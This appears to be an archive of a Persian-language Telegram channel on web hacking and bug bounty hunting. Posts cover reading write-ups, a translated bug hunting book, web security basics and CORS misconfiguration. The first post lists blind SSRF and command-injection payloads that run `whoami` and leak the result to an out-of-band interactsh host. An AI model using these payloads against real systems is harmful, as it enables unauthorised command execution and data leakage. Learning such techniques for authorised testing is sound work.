416
订阅者
无数据24 小时
+127 天
+7730 天
帖子存档
416
توی تست های blind ssrf شما جواب رو به صورت مستقیم نمیتونید ببینید باید از یه سرویس out of band کمک بگیرید تا بفهمید آیا سرور درخواست شما رو اجرا کرده یا نه.
برای دریافت پاسخ های out of band میتونید از
https://app.interactsh.comاستفاده کنید. این سه تا دستور رو توی تست های blind ssrf بیارید. میتونید باهاش دستورات سیستم عاملی اجرا کنید. Text Payloads:
`whoami`
$(whoami)
${USER}https://`whoami`.wovpawxjsgngqywkn[.]oast[.]fun
https://$(whoami).wovpawxjsgngqywkn.oast.fun
https://${USER}.wovpawxjsgngqywkn.oast.fun416
چرا باید رایتاپ بخونیم؟
خوندن ۵۰ تا رایتاپ مثل اینه که ۵۰ هکر حرفهای رو دعوت کنی کنار دستت بشینن و هر کدوم ذهنشون رو جلوت باز کنن. با هر رایتاپ، یه تیکه از درک و تجربهشون رو برمیداری و به روش خودت اضافه میکنی. نتیجه؟ چشمای تربیتشدهای که جزئیاتی رو میبینه که قبلاً هرگز به چشم نمیاومد و این دقیقاً همون چیزیه که یه باگهانتر حرفهای رو از بقیه جدا میکنه.
416
درود امیدوارم حالتون خوب باشه
همونطور که میدونید یکی از کتاب هایی که توی رودمپ یاد گیری وب هکینگ هست مخصوصا توصیه شده برای هانترها کتاب Real-World Bug Hunting _ Peter Yaworski هست. بعد از مدتی این کتاب رو بلاخره آماده کردم میخواستم چاپش کنم ولی خب بنا به دلایلی نشد که علتش رو هم توی کتاب توضیح دادم.
امیدوارم این کتاب مفید باشه براتون.
416
سلام بچه ها امیدوارم حالتون خوب باشه
مفاهیم اولیه امنیت وب به نظرتون شامل چه چیزایی میشه؟
ممنون میشم همین زیر هر چیزی که فکر میکنید یه نفر باید برای یادگیری امنیت وب اپلیکیشن ها بلد باشه بهم بگین.
به عنوان مثال:
اینترنت چیه و چجوری کار میکنه؟
وب چطوری کار میکنه؟
Request/Response چیه؟
Cookie, Session, Storage چطور کار میکنن؟
مرورگر چطور رندر میکنه صفحات رو؟
416
خب coming soon کافیه دیگه
سومین آسیب پذیری که بهش پرداختم CORS Misconfigoration هست.
اول از همه گفتیم cors چیه؟
چطوری کار میکنه؟
چطوری پیاده سازی میشه؟
و در نهایت چه آسیب پذیری هایی داره
